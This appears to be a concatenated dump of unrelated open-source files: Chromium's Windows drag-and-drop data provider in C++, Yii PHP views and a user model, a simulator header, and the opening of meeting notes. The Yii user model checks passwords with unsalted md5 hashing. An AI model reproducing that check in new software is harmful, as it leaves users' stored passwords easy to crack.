}
ULONG FormatEtcEnumerator::AddRef() {
return InterlockedIncrement(&ref_count_);
}
ULONG FormatEtcEnumerator::Release() {
if (InterlockedDecrement(&ref_count_) == 0) {
ULONG copied_refcnt = ref_count_;
delete this;
return copied_refcnt;
}
return ref_count_;
}
// static
FormatEtcEnumerator* FormatEtcEnumerator::CloneFromOther(
const FormatEtcEnumerator* other) {
FormatEtcEnumerator* e = new FormatEtcEnumerator;
// Copy FORMATETC data from our source into ourselves.
std::vector<FORMATETC*>::const_iterator start = other->contents_.begin();
while (start != other->contents_.end()) {
FORMATETC* format_etc = new FORMATETC;
CloneFormatEtc(*start, format_etc);
e->contents_.push_back(format_etc);
++start;
}
// Carry over
e->cursor_ = other->cursor_;
return e;
}
///////////////////////////////////////////////////////////////////////////////
// OSExchangeDataProviderWin, public:
// static
bool OSExchangeDataProviderWin::HasPlainTextURL(IDataObject* source) {
string16 plain_text;
return (ClipboardUtil::GetPlainText(source, &plain_text) &&
!plain_text.empty() && GURL(plain_text).is_valid());
}
// static
bool OSExchangeDataProviderWin::GetPlainTextURL(IDataObject* source,
GURL* url) {
string16 plain_text;
if (ClipboardUtil::GetPlainText(source, &plain_text) &&
!plain_text.empty()) {
GURL gurl(plain_text);
if (gurl.is_valid()) {
*url = gurl;
return true;
}
}
return false;
}
// static
DataObjectImpl* OSExchangeDataProviderWin::GetDataObjectImpl(
const OSExchangeData& data) {
return static_cast<const OSExchangeDataProviderWin*>(&data.provider())->
data_.get();
}
// static
IDataObject* OSExchangeDataProviderWin::GetIDataObject(
const OSExchangeData& data) {
return static_cast<const OSExchangeDataProviderWin*>(&data.provider())->
data_object();
}
// static
IDataObjectAsyncCapability* OSExchangeDataProviderWin::GetIAsyncOperation(
const OSExchangeData& data) {
return static_cast<const OSExchangeDataProviderWin*>(&data.provider())->
async_operation();
}
OSExchangeDataProviderWin::OSExchangeDataProviderWin(IDataObject* source)
: data_(new DataObjectImpl()),
source_object_(source) {
}
OSExchangeDataProviderWin::OSExchangeDataProviderWin()
: data_(new DataObjectImpl()),
source_object_(data_.get()) {
}
OSExchangeDataProviderWin::~OSExchangeDataProviderWin() {
}
void OSExchangeDataProviderWin::SetString(const string16& data) {
STGMEDIUM* storage = GetStorageForString16(data);
data_->contents_.push_back(
new DataObjectImpl::StoredDataInfo(CF_UNICODETEXT, storage));
// Also add plain text.
storage = GetStorageForString(UTF16ToUTF8(data));
data_->contents_.push_back(
new DataObjectImpl::StoredDataInfo(CF_TEXT, storage));
}
void OSExchangeDataProviderWin::SetURL(const GURL& url,
const string16& title) {
// NOTE WELL:
// Every time you change the order of the first two CLIPFORMATS that get
// added here, you need to update the EnumerationViaCOM test case in
// the _unittest.cc file to reflect the new arrangement otherwise that test
// will fail! It assumes an insertion order.
// Add text/x-moz-url for drags from Firefox
string16 x_moz_url_str = UTF8ToUTF16(url.spec());
x_moz_url_str += '\n';
x_moz_url_str += title;
STGMEDIUM* storage = GetStorageForString16(x_moz_url_str);
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetMozUrlFormat()->cfFormat, storage));
// Add a .URL shortcut file for dragging to Explorer.
string16 valid_file_name;
CreateValidFileNameFromTitle(url, title, &valid_file_name);
std::string shortcut_url_file_contents;
GetInternetShortcutFileContents(url, &shortcut_url_file_contents);
SetFileContents(FilePath(valid_file_name), shortcut_url_file_contents);
// Add a UniformResourceLocator link for apps like IE and Word.
storage = GetStorageForString16(UTF8ToUTF16(url.spec()));
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetUrlWFormat()->cfFormat, storage));
storage = GetStorageForString(url.spec());
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetUrlFormat()->cfFormat, storage));
// TODO(beng): add CF_HTML.
// http://code.google.com/p/chromium/issues/detail?id=6767
// Also add text representations (these should be last since they're the
// least preferable).
storage = GetStorageForString16(UTF8ToUTF16(url.spec()));
data_->contents_.push_back(
new DataObjectImpl::StoredDataInfo(CF_UNICODETEXT, storage));
storage = GetStorageForString(url.spec());
data_->contents_.push_back(
new DataObjectImpl::StoredDataInfo(CF_TEXT, storage));
}
void OSExchangeDataProviderWin::SetFilename(const FilePath& path) {
STGMEDIUM* storage = GetStorageForFileName(path);
DataObjectImpl::StoredDataInfo* info =
new DataObjectImpl::StoredDataInfo(CF_HDROP, storage);
data_->contents_.push_back(info);
}
void OSExchangeDataProviderWin::SetFilenames(
const std::vector<OSExchangeData::FileInfo>& filenames) {
for (size_t i = 0; i < filenames.size(); ++i) {
STGMEDIUM* storage = GetStorageForFileName(filenames[i].path);
DataObjectImpl::StoredDataInfo* info =
new DataObjectImpl::StoredDataInfo(CF_HDROP, storage);
data_->contents_.push_back(info);
}
}
void OSExchangeDataProviderWin::SetPickledData(CLIPFORMAT format,
const Pickle& data) {
STGMEDIUM* storage = GetStorageForBytes(static_cast<const char*>(data.data()),
data.size());
data_->contents_.push_back(
new DataObjectImpl::StoredDataInfo(format, storage));
}
void OSExchangeDataProviderWin::SetFileContents(
const FilePath& filename,
const std::string& file_contents) {
// Add CFSTR_FILEDESCRIPTOR
STGMEDIUM* storage = GetStorageForFileDescriptor(filename);
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetFileDescriptorFormat()->cfFormat, storage));
// Add CFSTR_FILECONTENTS
storage = GetStorageForBytes(file_contents.data(), file_contents.length());
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetFileContentFormatZero(), storage));
}
void OSExchangeDataProviderWin::SetHtml(const string16& html,
const GURL& base_url) {
// Add both MS CF_HTML and text/html format. CF_HTML should be in utf-8.
std::string utf8_html = UTF16ToUTF8(html);
std::string url = base_url.is_valid() ? base_url.spec() : std::string();
std::string cf_html = ClipboardUtil::HtmlToCFHtml(utf8_html, url);
STGMEDIUM* storage = GetStorageForBytes(cf_html.c_str(), cf_html.size());
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetHtmlFormat()->cfFormat, storage));
STGMEDIUM* storage_plain = GetStorageForBytes(utf8_html.c_str(),
utf8_html.size());
data_->contents_.push_back(new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetTextHtmlFormat()->cfFormat, storage_plain));
}
bool OSExchangeDataProviderWin::GetString(string16* data) const {
return ClipboardUtil::GetPlainText(source_object_, data);
}
bool OSExchangeDataProviderWin::GetURLAndTitle(GURL* url,
string16* title) const {
string16 url_str;
bool success = ClipboardUtil::GetUrl(source_object_, &url_str, title, true);
if (success) {
GURL test_url(url_str);
if (test_url.is_valid()) {
*url = test_url;
return true;
}
} else if (GetPlainTextURL(source_object_, url)) {
if (url->is_valid())
*title = net::GetSuggestedFilename(*url, "", "", "", "", std::string());
else
title->clear();
return true;
}
return false;
}
bool OSExchangeDataProviderWin::GetFilename(FilePath* path) const {
std::vector<string16> filenames;
bool success = ClipboardUtil::GetFilenames(source_object_, &filenames);
if (success)
*path = FilePath(filenames[0]);
return success;
}
bool OSExchangeDataProviderWin::GetFilenames(
std::vector<OSExchangeData::FileInfo>* filenames) const {
std::vector<string16> filenames_local;
bool success = ClipboardUtil::GetFilenames(source_object_, &filenames_local);
if (success) {
for (size_t i = 0; i < filenames_local.size(); ++i)
filenames->push_back(
OSExchangeData::FileInfo(FilePath(filenames_local[i]), FilePath()));
}
return success;
}
bool OSExchangeDataProviderWin::GetPickledData(CLIPFORMAT format,
Pickle* data) const {
DCHECK(data);
FORMATETC format_etc =
{ format, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
bool success = false;
STGMEDIUM medium;
if (SUCCEEDED(source_object_->GetData(&format_etc, &medium))) {
if (medium.tymed & TYMED_HGLOBAL) {
base::win::ScopedHGlobal<char> c_data(medium.hGlobal);
DCHECK_GT(c_data.Size(), 0u);
*data = Pickle(c_data.get(), static_cast<int>(c_data.Size()));
success = true;
}
ReleaseStgMedium(&medium);
}
return success;
}
bool OSExchangeDataProviderWin::GetFileContents(
FilePath* filename,
std::string* file_contents) const {
string16 filename_str;
if (!ClipboardUtil::GetFileContents(source_object_, &filename_str,
file_contents)) {
return false;
}
*filename = FilePath(filename_str);
return true;
}
bool OSExchangeDataProviderWin::GetHtml(string16* html,
GURL* base_url) const {
std::string url;
bool success = ClipboardUtil::GetHtml(source_object_, html, &url);
if (success)
*base_url = GURL(url);
return success;
}
bool OSExchangeDataProviderWin::HasString() const {
return ClipboardUtil::HasPlainText(source_object_);
}
bool OSExchangeDataProviderWin::HasURL() const {
return (ClipboardUtil::HasUrl(source_object_) ||
HasPlainTextURL(source_object_));
}
bool OSExchangeDataProviderWin::HasFile() const {
return ClipboardUtil::HasFilenames(source_object_);
}
bool OSExchangeDataProviderWin::HasFileContents() const {
return ClipboardUtil::HasFileContents(source_object_);
}
bool OSExchangeDataProviderWin::HasHtml() const {
return ClipboardUtil::HasHtml(source_object_);
}
bool OSExchangeDataProviderWin::HasCustomFormat(CLIPFORMAT format) const {
FORMATETC format_etc =
{ format, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
return (source_object_->QueryGetData(&format_etc) == S_OK);
}
void OSExchangeDataProviderWin::SetDownloadFileInfo(
const OSExchangeData::DownloadFileInfo& download) {
// If the filename is not provided, set stoarge to NULL to indicate that
// the delay rendering will be used.
STGMEDIUM* storage = NULL;
if (!download.filename.empty())
storage = GetStorageForFileName(download.filename);
// Add CF_HDROP.
DataObjectImpl::StoredDataInfo* info = new DataObjectImpl::StoredDataInfo(
ClipboardUtil::GetCFHDropFormat()->cfFormat, storage);
info->downloader = download.downloader;
data_->contents_.push_back(info);
}
#if defined(USE_AURA)
void OSExchangeDataProviderWin::SetDragImage(
const gfx::ImageSkia& image,
const gfx::Vector2d& cursor_offset) {
drag_image_ = image;
drag_image_offset_ = cursor_offset;
}
const gfx::ImageSkia& OSExchangeDataProviderWin::GetDragImage() const {
return drag_image_;
}
const gfx::Vector2d& OSExchangeDataProviderWin::GetDragImageOffset() const {
return drag_image_offset_;
}
#endif
///////////////////////////////////////////////////////////////////////////////
// DataObjectImpl, IDataObject implementation:
// The following function, DuplicateMedium, is derived from WCDataObject.cpp
// in the WebKit source code. This is the license information for the file:
/*
* Copyright (C) 2007 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
static void DuplicateMedium(CLIPFORMAT source_clipformat,
STGMEDIUM* source,
STGMEDIUM* destination) {
switch (source->tymed) {
case TYMED_HGLOBAL:
destination->hGlobal =
static_cast<HGLOBAL>(OleDuplicateData(
source->hGlobal, source_clipformat, 0));
break;
case TYMED_MFPICT:
destination->hMetaFilePict =
static_cast<HMETAFILEPICT>(OleDuplicateData(
source->hMetaFilePict, source_clipformat, 0));
break;
case TYMED_GDI:
destination->hBitmap =
static_cast<HBITMAP>(OleDuplicateData(
source->hBitmap, source_clipformat, 0));
break;
case TYMED_ENHMF:
destination->hEnhMetaFile =
static_cast<HENHMETAFILE>(OleDuplicateData(
source->hEnhMetaFile, source_clipformat, 0));
break;
case TYMED_FILE:
destination->lpszFileName =
static_cast<LPOLESTR>(OleDuplicateData(
source->lpszFileName, source_clipformat, 0));
break;
case TYMED_ISTREAM:
destination->pstm = source->pstm;
destination->pstm->AddRef();
break;
case TYMED_ISTORAGE:
destination->pstg = source->pstg;
destination->pstg->AddRef();
break;
}
destination->tymed = source->tymed;
destination->pUnkForRelease = source->pUnkForRelease;
if (destination->pUnkForRelease)
destination->pUnkForRelease->AddRef();
}
DataObjectImpl::DataObjectImpl()
: is_aborting_(false),
in_async_mode_(false),
async_operation_started_(false),
observer_(NULL) {
}
DataObjectImpl::~DataObjectImpl() {
StopDownloads();
STLDeleteContainerPointers(contents_.begin(), contents_.end());
if (observer_)
observer_->OnDataObjectDisposed();
}
void DataObjectImpl::StopDownloads() {
for (StoredData::iterator iter = contents_.begin();
iter != contents_.end(); ++iter) {
if ((*iter)->downloader.get()) {
(*iter)->downloader->Stop();
(*iter)->downloader = 0;
}
}
}
void DataObjectImpl::RemoveData(const FORMATETC& format) {
if (format.ptd)
return; // Don't attempt to compare target devices.
for (StoredData::iterator i = contents_.begin(); i != contents_.end(); ++i) {
if (!(*i)->format_etc.ptd &&
format.cfFormat == (*i)->format_etc.cfFormat &&
format.dwAspect == (*i)->format_etc.dwAspect &&
format.lindex == (*i)->format_etc.lindex &&
format.tymed == (*i)->format_etc.tymed) {
delete *i;
contents_.erase(i);
return;
}
}
}
void DataObjectImpl::OnDownloadCompleted(const FilePath& file_path) {
CLIPFORMAT hdrop_format = ClipboardUtil::GetCFHDropFormat()->cfFormat;
DataObjectImpl::StoredData::iterator iter = contents_.begin();
for (; iter != contents_.end(); ++iter) {
if ((*iter)->format_etc.cfFormat == hdrop_format) {
// Release the old storage.
if ((*iter)->owns_medium) {
ReleaseStgMedium((*iter)->medium);
delete (*iter)->medium;
}
// Update the storage.
(*iter)->owns_medium = true;
(*iter)->medium = GetStorageForFileName(file_path);
break;
}
}
DCHECK(iter != contents_.end());
}
void DataObjectImpl::OnDownloadAborted() {
}
HRESULT DataObjectImpl::GetData(FORMATETC* format_etc, STGMEDIUM* medium) {
if (is_aborting_)
return DV_E_FORMATETC;
StoredData::iterator iter = contents_.begin();
while (iter != contents_.end()) {
if ((*iter)->format_etc.cfFormat == format_etc->cfFormat &&
(*iter)->format_etc.lindex == format_etc->lindex &&
((*iter)->format_etc.tymed & format_etc->tymed)) {
// If medium is NULL, delay-rendering will be used.
if ((*iter)->medium) {
DuplicateMedium((*iter)->format_etc.cfFormat, (*iter)->medium, medium);
} else {
// Check if the left button is down.
bool is_left_button_down = (GetKeyState(VK_LBUTTON) & 0x8000) != 0;
bool wait_for_data = false;
if ((*iter)->in_delay_rendering) {
// Make sure the left button is up. Sometimes the drop target, like
// Shell, might be too aggresive in calling GetData when the left
// button is not released.
if (is_left_button_down)
return DV_E_FORMATETC;
// In async mode, we do not want to start waiting for the data before
// the async operation is started. This is because we want to postpone
// until Shell kicks off a background thread to do the work so that
// we do not block the UI thread.
if (!in_async_mode_ || async_operation_started_)
wait_for_data = true;
} else {
// If the left button is up and the target has not requested the data
// yet, it probably means that the target does not support delay-
// rendering. So instead, we wait for the data.
if (is_left_button_down) {
(*iter)->in_delay_rendering = true;
memset(medium, 0, sizeof(STGMEDIUM));
} else {
wait_for_data = true;
}
}
if (!wait_for_data)
return DV_E_FORMATETC;
// Notify the observer we start waiting for the data. This gives
// an observer a chance to end the drag and drop.
if (observer_)
observer_->OnWaitForData();
// Now we can start the download.
if ((*iter)->downloader.get()) {
(*iter)->downloader->Start(this);
if (!(*iter)->downloader->Wait()) {
is_aborting_ = true;
return DV_E_FORMATETC;
}
}
// The stored data should have been updated with the final version.
// So we just need to call this function again to retrieve it.
return GetData(format_etc, medium);
}
return S_OK;
}
++iter;
}
return DV_E_FORMATETC;
}
HRESULT DataObjectImpl::GetDataHere(FORMATETC* format_etc,
STGMEDIUM* medium) {
return DATA_E_FORMATETC;
}
HRESULT DataObjectImpl::QueryGetData(FORMATETC* format_etc) {
StoredData::const_iterator iter = contents_.begin();
while (iter != contents_.end()) {
if ((*iter)->format_etc.cfFormat == format_etc->cfFormat)
return S_OK;
++iter;
}
return DV_E_FORMATETC;
}
HRESULT DataObjectImpl::GetCanonicalFormatEtc(
FORMATETC* format_etc, FORMATETC* result) {
format_etc->ptd = NULL;
return E_NOTIMPL;
}
HRESULT DataObjectImpl::SetData(
FORMATETC* format_etc, STGMEDIUM* medium, BOOL should_release) {
RemoveData(*format_etc);
STGMEDIUM* local_medium = new STGMEDIUM;
if (should_release) {
*local_medium = *medium;
} else {
DuplicateMedium(format_etc->cfFormat, medium, local_medium);
}
DataObjectImpl::StoredDataInfo* info =
new DataObjectImpl::StoredDataInfo(format_etc->cfFormat, local_medium);
info->medium->tymed = format_etc->tymed;
info->owns_medium = !!should_release;
// Make newly added data appear first.
contents_.insert(contents_.begin(), info);
return S_OK;
}
HRESULT DataObjectImpl::EnumFormatEtc(
DWORD direction, IEnumFORMATETC** enumerator) {
if (direction == DATADIR_GET) {
FormatEtcEnumerator* e =
new FormatEtcEnumerator(contents_.begin(), contents_.end());
e->AddRef();
*enumerator = e;
return S_OK;
}
return E_NOTIMPL;
}
HRESULT DataObjectImpl::DAdvise(
FORMATETC* format_etc, DWORD advf, IAdviseSink* sink, DWORD* connection) {
return OLE_E_ADVISENOTSUPPORTED;
}
HRESULT DataObjectImpl::DUnadvise(DWORD connection) {
return OLE_E_ADVISENOTSUPPORTED;
}
HRESULT DataObjectImpl::EnumDAdvise(IEnumSTATDATA** enumerator) {
return OLE_E_ADVISENOTSUPPORTED;
}
///////////////////////////////////////////////////////////////////////////////
// DataObjectImpl, IDataObjectAsyncCapability implementation:
HRESULT DataObjectImpl::EndOperation(
HRESULT result, IBindCtx* reserved, DWORD effects) {
async_operation_started_ = false;
return S_OK;
}
HRESULT DataObjectImpl::GetAsyncMode(BOOL* is_op_async) {
*is_op_async = in_async_mode_ ? TRUE : FALSE;
return S_OK;
}
HRESULT DataObjectImpl::InOperation(BOOL* in_async_op) {
*in_async_op = async_operation_started_ ? TRUE : FALSE;
return S_OK;
}
HRESULT DataObjectImpl::SetAsyncMode(BOOL do_op_async) {
in_async_mode_ = (do_op_async == TRUE);
return S_OK;
}
HRESULT DataObjectImpl::StartOperation(IBindCtx* reserved) {
async_operation_started_ = true;
return S_OK;
}
///////////////////////////////////////////////////////////////////////////////
// DataObjectImpl, IUnknown implementation:
HRESULT DataObjectImpl::QueryInterface(const IID& iid, void** object) {
if (!object)
return E_POINTER;
if (IsEqualIID(iid, IID_IDataObject) || IsEqualIID(iid, IID_IUnknown)) {
*object = static_cast<IDataObject*>(this);
} else if (in_async_mode_ &&
IsEqualIID(iid, __uuidof(IDataObjectAsyncCapability))) {
*object = static_cast<IDataObjectAsyncCapability*>(this);
} else {
*object = NULL;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}
ULONG DataObjectImpl::AddRef() {
base::RefCountedThreadSafe<DownloadFileObserver>::AddRef();
return 0;
}
ULONG DataObjectImpl::Release() {
base::RefCountedThreadSafe<DownloadFileObserver>::Release();
return 0;
}
///////////////////////////////////////////////////////////////////////////////
// DataObjectImpl, private:
static STGMEDIUM* GetStorageForBytes(const char* data, size_t bytes) {
HANDLE handle = GlobalAlloc(GPTR, static_cast<int>(bytes));
base::win::ScopedHGlobal<char> scoped(handle);
size_t allocated = static_cast<size_t>(GlobalSize(handle));
memcpy(scoped.get(), data, allocated);
STGMEDIUM* storage = new STGMEDIUM;
storage->hGlobal = handle;
storage->tymed = TYMED_HGLOBAL;
storage->pUnkForRelease = NULL;
return storage;
}
template<class T>
static HGLOBAL CopyStringToGlobalHandle(const T& payload) {
int bytes =
static_cast<int>(payload.size() + 1) * sizeof(typename T::value_type);
HANDLE handle = GlobalAlloc(GPTR, bytes);
void* data = GlobalLock(handle);
size_t allocated = static_cast<size_t>(GlobalSize(handle));
memcpy(data, payload.c_str(), allocated);
static_cast<typename T::value_type*>(data)[payload.size()] = '\0';
GlobalUnlock(handle);
return handle;
}
static STGMEDIUM* GetStorageForString16(const string16& data) {
STGMEDIUM* storage = new STGMEDIUM;
storage->hGlobal = CopyStringToGlobalHandle<string16>(data);
storage->tymed = TYMED_HGLOBAL;
storage->pUnkForRelease = NULL;
return storage;
}
static STGMEDIUM* GetStorageForString(const std::string& data) {
STGMEDIUM* storage = new STGMEDIUM;
storage->hGlobal = CopyStringToGlobalHandle<std::string>(data);
storage->tymed = TYMED_HGLOBAL;
storage->pUnkForRelease = NULL;
return storage;
}
static void GetInternetShortcutFileContents(const GURL& url,
std::string* data) {
DCHECK(data);
static const std::string kInternetShortcutFileStart =
"[InternetShortcut]\r\nURL=";
static const std::string kInternetShortcutFileEnd =
"\r\n";
*data = kInternetShortcutFileStart + url.spec() + kInternetShortcutFileEnd;
}
static void CreateValidFileNameFromTitle(const GURL& url,
const string16& title,
string16* validated) {
if (title.empty()) {
if (url.is_valid()) {
*validated = net::GetSuggestedFilename(url, "", "", "", "",
std::string());
} else {
// Nothing else can be done, just use a default.
*validated =
l10n_util::GetStringUTF16(IDS_APP_UNTITLED_SHORTCUT_FILE_NAME);
}
} else {
*validated = title;
file_util::ReplaceIllegalCharactersInPath(validated, '-');
}
static const wchar_t extension[] = L".url";
static const size_t max_length = MAX_PATH - arraysize(extension);
if (validated->size() > max_length)
validated->erase(max_length);
*validated += extension;
}
static STGMEDIUM* GetStorageForFileName(const FilePath& path) {
const size_t kDropSize = sizeof(DROPFILES);
const size_t kTotalBytes =
kDropSize + (path.value().length() + 2) * sizeof(wchar_t);
HANDLE hdata = GlobalAlloc(GMEM_MOVEABLE, kTotalBytes);
base::win::ScopedHGlobal<DROPFILES> locked_mem(hdata);
DROPFILES* drop_files = locked_mem.get();
drop_files->pFiles = sizeof(DROPFILES);
drop_files->fWide = TRUE;
wchar_t* data = reinterpret_cast<wchar_t*>(
reinterpret_cast<BYTE*>(drop_files) + kDropSize);
const size_t copy_size = (path.value().length() + 1) * sizeof(wchar_t);
memcpy(data, path.value().c_str(), copy_size);
data[path.value().length() + 1] = L'\0'; // Double NULL
STGMEDIUM* storage = new STGMEDIUM;
storage->tymed = TYMED_HGLOBAL;
storage->hGlobal = hdata;
storage->pUnkForRelease = NULL;
return storage;
}
static STGMEDIUM* GetStorageForFileDescriptor(
const FilePath& path) {
string16 file_name = path.value();
DCHECK(!file_name.empty());
HANDLE hdata = GlobalAlloc(GPTR, sizeof(FILEGROUPDESCRIPTOR));
base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR> locked_mem(hdata);
FILEGROUPDESCRIPTOR* descriptor = locked_mem.get();
descriptor->cItems = 1;
descriptor->fgd[0].dwFlags = FD_LINKUI;
wcsncpy_s(descriptor->fgd[0].cFileName, MAX_PATH, file_name.c_str(),
std::min(file_name.size(), static_cast<size_t>(MAX_PATH - 1u)));
STGMEDIUM* storage = new STGMEDIUM;
storage->tymed = TYMED_HGLOBAL;
storage->hGlobal = hdata;
storage->pUnkForRelease = NULL;
return storage;
}
///////////////////////////////////////////////////////////////////////////////
// OSExchangeData, public:
// static
OSExchangeData::Provider* OSExchangeData::CreateProvider() {
return new OSExchangeDataProviderWin();
}
// static
OSExchangeData::CustomFormat OSExchangeData::RegisterCustomFormat(
const std::string& type) {
return RegisterClipboardFormat(ASCIIToUTF16(type).c_str());
}
} // namespace ui
| bsd-3-clause |
nmfzone/yiisms | views/sentitems/_search.php | 1573 | <?php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
/* @var $this yii\web\View */
/* @var $model app\models\SentitemsSearch */
/* @var $form yii\widgets\ActiveForm */
?>
<div class="sentitems-search">
<?php $form = ActiveForm::begin([
'action' => ['index'],
'method' => 'get',
]); ?>
<?= $form->field($model, 'UpdatedInDB') ?>
<?= $form->field($model, 'InsertIntoDB') ?>
<?= $form->field($model, 'SendingDateTime') ?>
<?= $form->field($model, 'DeliveryDateTime') ?>
<?= $form->field($model, 'Text') ?>
<?php // echo $form->field($model, 'DestinationNumber') ?>
<?php // echo $form->field($model, 'Coding') ?>
<?php // echo $form->field($model, 'UDH') ?>
<?php // echo $form->field($model, 'SMSCNumber') ?>
<?php // echo $form->field($model, 'Class') ?>
<?php // echo $form->field($model, 'TextDecoded') ?>
<?php // echo $form->field($model, 'ID') ?>
<?php // echo $form->field($model, 'SenderID') ?>
<?php // echo $form->field($model, 'SequencePosition') ?>
<?php // echo $form->field($model, 'Status') ?>
<?php // echo $form->field($model, 'StatusError') ?>
<?php // echo $form->field($model, 'TPMR') ?>
<?php // echo $form->field($model, 'RelativeValidity') ?>
<?php // echo $form->field($model, 'CreatorID') ?>
<div class="form-group">
<?= Html::submitButton('Search', ['class' => 'btn btn-primary']) ?>
<?= Html::resetButton('Reset', ['class' => 'btn btn-default']) ?>
</div>
<?php ActiveForm::end(); ?>
</div>
| bsd-3-clause |
nandohca/kista | utils/SCoPE-v1.1.5_64/scope/rtos/drivers/uc_hal_sw_defines.h | 617 | #ifndef UC_HAL_SW_DEFINES_H
#define UC_HAL_SW_DEFINES_H
typedef struct {
int m_HAL_return; ///< Return of the HAL's function
int m_HAL_function_id; ///< HAL's function identifier
void *m_HAL_arg_stack; ///< HAL's stack for arguments
int m_HAL_done; ///< Indicate if the transfer has been completed
} uc_cpu_bus_transfer_info_t;
#define UC_IO_READ_ID 1001
#define UC_IO_WRITE_ID 1002
#define UC_ICACHE_MEM_ID 1003
#define UC_ICACHE_READ_ID 1004
#define UC_DCACHE_READ_ID 1005
#define UC_DCACHE_WRITE_ID 1006
#define UC_DCACHE_MEM_ID 1007
#define UC_DCACHE_WMEM_ID 1008
#define UC_IO_IRQ_ID 1009
#endif
| bsd-3-clause |
delgado161/extranet | modules/usuarios/models/Usuarios.php | 4242 | <?php
namespace app\modules\usuarios\models;
use Yii;
use kartik\password\StrengthValidator;
/**
* This is the model class for table "usuarios".
*
* @property integer $id_usuario
* @property integer $fl_perfil
* @property integer $fl_persona
* @property string $username
* @property string $clave
* @property string $ultimo_login
* @property integer $status
*
* @property Recursos[] $recursos
* @property Reportes[] $reportes
* @property Perfiles $flPerfil
* @property Personas $flPersona
*/
class Usuarios extends \yii\db\ActiveRecord implements \yii\web\IdentityInterface {
public $nombre_perfil;
public $nombre_persona;
public $apellido_persona;
public $validate_clave;
/**
* @inheritdoc
*/
public static function tableName() {
return 'usuarios';
}
/**
* @inheritdoc
*/
public function rules() {
return [
[['fl_perfil', 'fl_persona', 'username', 'clave', 'status'], 'required'],
[['fl_perfil', 'fl_persona', 'status'], 'integer'],
[['ultimo_login'], 'safe'],
[['clave'], 'string', 'max' => 200],
[['clave'], StrengthValidator::className(), 'preset' => 'normal', 'userAttribute' => 'username', 'on' => 'create'],
['validate_clave', 'required', 'on' => 'create'],
['validate_clave', 'required', 'on' => 'update'],
['validate_clave', 'compare', 'compareAttribute' => 'clave', 'message' => "Passwords no coinciden"],
[['fl_perfil'], 'exist', 'skipOnError' => true, 'targetClass' => Perfiles::className(), 'targetAttribute' => ['fl_perfil' => 'id_perfile']],
[['fl_persona'], 'exist', 'skipOnError' => true, 'targetClass' => Personas::className(), 'targetAttribute' => ['fl_persona' => 'id_persona']],
[['id_usuario'], 'unique'],
[['username'], 'unique', 'message' => 'Alias ya ultilizado'],
[['fl_persona'], 'unique', 'message' => 'Esta persona ya posee un usuario'],
];
}
/**
* @inheritdoc
*/
public function attributeLabels() {
return [
'id_usuario' => Yii::t('app', 'Id Usuario'),
'fl_perfil' => Yii::t('app', 'Perfil'),
'fl_persona' => Yii::t('app', 'Persona'),
'username' => Yii::t('app', 'Alias'),
'clave' => Yii::t('app', 'Password'),
'ultimo_login' => Yii::t('app', 'Ultimo Login'),
'status' => Yii::t('app', 'Status'),
'validate_clave' => Yii::t('app', 'Re-Password'),
];
}
/**
* @return \yii\db\ActiveQuery
*/
public function getRecursos() {
return $this->hasMany(Recursos::className(), ['fk_usuario' => 'id_usuario']);
}
/**
* @return \yii\db\ActiveQuery
*/
public function getReportes() {
return $this->hasMany(Reportes::className(), ['fk_usuario' => 'id_usuario']);
}
/**
* @return \yii\db\ActiveQuery
*/
public function getFlPerfil() {
return $this->hasOne(Perfiles::className(), ['id_perfile' => 'fl_perfil']);
}
/**
* @return \yii\db\ActiveQuery
*/
public function getFlPersona() {
return $this->hasOne(Personas::className(), ['id_persona' => 'fl_persona']);
}
/**
* @inheritdoc
* @return UsuariosQuery the active query used by this AR class.
*/
public static function find() {
return new query\UsuariosQuery(get_called_class());
}
public function getAuthKey() {
throw new \yii\base\NotSupportedException();
}
public function getId() {
return $this->id_usuario;
}
public function validateAuthKey($authKey) {
throw new \yii\base\NotSupportedException();
}
public static function findIdentity($id) {
return self::findOne($id);
}
public static function findIdentityByAccessToken($token, $type = null) {
throw new \yii\base\NotSupportedException();
}
public static function findByLogin($username) {
return self::findOne(['username' => $username]);
}
public function validatePassword($password) {
return $this->clave === md5($password);
}
}
| bsd-3-clause |
force11/force11-sciwg | meetings/20210803-Notes.md | 6923 | ## Notes from Telcon on 3 August 2021
Notes from [previous calls](#previous-calls) are now after the current meeting notes.
### Call logistics
- Calls normally take place on the first Tuesday of every month at 3 PM CET / CEST.
- Notes will be published at: https://github.com/force11/force11-sciwg/tree/master/meetings
- We use Zoom: the link and password is sent to the mailing list in monthly reminders
